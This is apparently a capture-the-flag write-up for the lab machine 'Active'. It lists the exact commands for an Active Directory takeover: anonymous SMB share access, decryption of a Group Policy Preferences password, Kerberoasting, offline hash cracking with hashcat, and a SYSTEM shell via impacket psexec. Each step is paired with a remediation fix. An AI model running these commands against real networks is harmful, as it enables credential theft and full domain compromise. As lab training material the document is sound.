Active
Summary
I accessed a world-readable SMB share that exposed a legacy Group Policy Preferences file containing a service account password encrypted with a publicly known key. After decrypting the credential with a freely available tool, I authenticated to the domain, enumerated service principal names, and Kerberoasted the domain Administrator account — cracking its ticket offline with a dictionary attack and achieving complete domain controller compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
List all shares via null session; look for READ permission on Replication.
$ nxc smb $TARGET -u '' -p '' --sharesAlternative share listing without credentials.
$ smbclient -L //$TARGET -NFixRemove anonymous read access from all SMB sharesHigh
Exact commands 1
Retrieve Groups.xml directly to stdout; note the userName and cpassword attributes in the output.
$ smbclient //$TARGET/Replication -N -c 'get active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml -' 2>/dev/nullFixPurge all GPP cpassword entries from SYSVOL and prevent future creationCritical
Exact commands 1
Paste the cpassword value from Groups.xml; tool outputs plaintext '$PASSWORD2' immediately.
$ gpp-decrypt $PASSWORDExact commands 2
Confirm credentials are valid and enumerate accessible shares.
$ nxc smb $TARGET -u SVC_TGS -p $PASSWORD2 -d active.htb --sharesRead the user flag -> <user.txt>
$ smbclient //$TARGET/Users -U "active.htb/SVC_TGS%$PASSWORD2" -c 'get SVC_TGS/Desktop/user.txt -' 2>/dev/nullExact commands 1
Enumerate SPNs as SVC_TGS and request TGS tickets; Administrator's encrypted ticket is written to admin_tgs.hash.
$ impacket-GetUserSPNs active.htb/SVC_TGS:$PASSWORD2 -dc-ip $TARGET -request -outputfile admin_tgs.hashFixRemove Service Principal Names from privileged and administrative accountsHigh
Exact commands 1
Mode 13100 targets Kerberos 5 TGS-REP etype 23; recovers plaintext password '$PASSWORD3'.
$ hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt --forceFixEnforce long, random passwords on all privileged and service accountsHigh
Exact commands 2
Opens a SYSTEM shell on the DC; spawns cmd.exe as NT AUTHORITY\SYSTEM.
$ impacket-psexec active.htb/Administrator:$PASSWORD3@$TARGETAlternative: read root flag non-interactively -> <root.txt>
$ impacket-wmiexec active.htb/Administrator:$PASSWORD3@$TARGET 'type C:\Users\Administrator\Desktop\root.txt'Techniques used
New to these ideas? Learn the concepts in Hack & Learn.